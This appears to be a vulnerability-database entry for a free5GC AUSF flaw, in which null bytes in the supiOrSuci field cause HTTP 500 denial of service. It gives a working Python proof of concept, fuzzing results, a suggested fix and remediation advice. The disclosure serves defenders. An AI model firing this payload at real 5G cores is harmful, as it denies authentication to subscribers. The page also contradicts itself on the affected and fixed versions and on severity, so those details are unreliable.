Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-accessible, unauthenticated endpoint with no prerequisites; C:L for stack trace disclosure; A:H because sustained flooding saturates the sole authentication path for all subscribers.
Primary rating from Vendor (https://github.com/free5gc/free5gc).
CVSS VectorVendor: https://github.com/free5gc/free5gc
Lifecycle Timeline
3DescriptionCVE.org
Summary
The free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale-4.1% of special_chars mutations produce HTTP 500-causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).
---
Details
The vulnerability lies in the AUSF's POST /nausf-auth/v1/ue-authentications handler. The JSON body includes a supiOrSuci field:
{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}The AUSF parses this JSON (Go's encoding/json accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw supiOrSuci value:
GET /nudm-ueau/v1/{supiOrSuci}/security-information/...When supiOrSuci contains null bytes (\x00), the resulting URL is illegal under RFC 3986. Go's net/url.Parse() fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:
{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}The AUSF container log shows: net/url: invalid control character in URL.
Attack chain:
1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}Contrast with C/C++ 5GCs: The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error-the service survives, but the denial is equally effective.
Discovery context: Found via automated 5G SBI fuzzing. The special_chars mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:
| Strategy | Requests | HTTP 500s | Trigger Rate |
|---|---|---|---|
special_chars | 98,304 | 4,021 | 4.1% |
seed_replay | 132,428 | 7,947 | 6.0% |
grammar_aware | 30,944 | 683 | 2.2% |
100% of HTTP 500s originated from the POST /nausf-auth/v1/ue-authentications endpoint.
PoC
No configuration changes needed. Default free5GC deployment is vulnerable.
#!/usr/bin/env python3
import http.client, json
AUSF_HOST = "127.0.0.1"
# Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000
# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
"supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
"authType": "5G_AKA"
})
conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug: Status {resp.status}")
# Returns 500
# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
"supiOrSuci": "imsi-208930000000031",
"servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
"authType": "5G_AKA"
})
conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")
# Returns 404Run: python3 reproduce.py
Expected fix (input validation + URL escaping):
import "regexp"
import "net/url"
var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)
func validateSUCI(supiOrSuci string) error {
if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
return r < 0x20 || r > 0x7e
}) {
return fmt.Errorf("SUCI contains illegal characters")
}
return nil
}
// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
udmAddr, url.PathEscape(supiOrSuci))Impact
| Property | Value |
|---|---|
| Authentication | None required (unauthenticated SBI endpoint) |
| Impact | Denial of Service - AUSF returns HTTP 500 for all authentication requests during attack |
| Information Leak | HTTP 500 response leaks internal net/url.Parse error, enabling backend fingerprinting |
| Affected version | free5GC v4.2.2 (latest) |
| Fix | Validate supiOrSuci before URL construction; use url.PathEscape() |
Environment: Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.
AnalysisAI
Null byte injection in the free5GC Authentication Server Function (AUSF) v4.2.1 and earlier allows unauthenticated remote attackers to crash Go's URL parser and force HTTP 500 responses on the authentication endpoint, denying authentication service to all legitimate 5G subscribers sharing that AUSF instance. A publicly available Python PoC is included in the vendor's own security advisory, and fuzzing demonstrated a 4.1% trigger rate across nearly 100,000 requests - confirming reliable, scalable exploitation against the default deployment with no special configuration required. No public exploit or CISA KEV listing is confirmed at time of analysis, but the trivially automatable nature of the attack makes it a material risk for 5G core operators.
Technical ContextAI
The vulnerability exploits a semantic gap between two Go standard library components: encoding/json (RFC 8259-compliant, silently accepts null bytes in string values) and net/url.Parse() (RFC 3986-compliant, rejects control characters including null bytes as illegal in URL paths). The AUSF's POST /nausf-auth/v1/ue-authentications handler accepts a JSON body containing a supiOrSuci field (SUPI = Subscription Permanent Identifier; SUCI = Subscription Concealed Identifier - 3GPP-defined 5G subscriber identity formats), then directly embeds the raw, unvalidated field value into a UDM northbound URL path as GET /nudm-ueau/v1/{supiOrSuci}/security-information/... without invoking url.PathEscape() or any format validation. The CPE identifiers (pkg:go/github.com_free5gc_free5gc, pkg:go/github.com_free5gc_ausf) confirm this is a Go-native 5G core. CWE-20 (Improper Input Validation) is the root cause class: the AUSF trusts JSON-decoded strings at the application boundary rather than enforcing the 3GPP-defined character set for SUPI/SUCI. The fix at commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e (PR #61) gates the handler on validator.IsValidSupi() and validator.IsValidSuci() checks, returning HTTP 400 with a structured ProblemDetails response before URL construction is attempted.
RemediationAI
Upgrade free5GC to v4.2.2 (https://github.com/free5gc/free5gc/releases/tag/v4.2.2) and the AUSF module to v1.4.5 (https://github.com/free5gc/ausf/releases/tag/v1.4.5), which apply the input validation patch from PR #61 (commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e); this causes the handler to reject malformed supiOrSuci values with HTTP 400 before any URL construction occurs, with no functional impact on well-formed requests. For operators unable to patch immediately, deploy a reverse proxy or API gateway in front of the AUSF SBI port that filters requests containing raw control characters (bytes < 0x20 or 0x7F) in JSON string fields before forwarding; this adds latency but prevents the malformed input from reaching the vulnerable handler. Additionally, restrict network access to the AUSF SBI port (default 8000) via firewall ACLs or Docker network policies to allow connections only from trusted AMF and NRF source addresses, reducing the attack surface from any network-reachable host to authorized core nodes only - note this does not eliminate the vulnerability if a core node is compromised but significantly limits exploitability in practice.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-20 – Improper Input Validation
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-51628
GHSA-qj55-47fp-p62j